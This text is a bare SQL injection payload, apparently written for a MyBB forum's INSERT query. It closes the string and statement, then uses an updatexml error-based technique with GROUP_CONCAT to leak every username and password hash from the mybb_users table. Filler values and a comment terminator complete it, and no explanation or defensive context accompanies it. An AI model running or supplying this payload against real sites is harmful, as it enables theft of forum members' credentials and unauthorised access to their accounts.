');,(38, updatexml( NULL, CONCAT( 0x3A, (SELECT GROUP_CONCAT(us

');,(38,
  updatexml(
    NULL,
    CONCAT(
      0x3A,
      (SELECT GROUP_CONCAT(username,0x3A,password) FROM mybb_users),
      0x3A
    ),
    NULL
  ),
  0,0,3651,'peter1029a',1746900490,1746900490,'peter1029a',3651,0,0,1,''
);--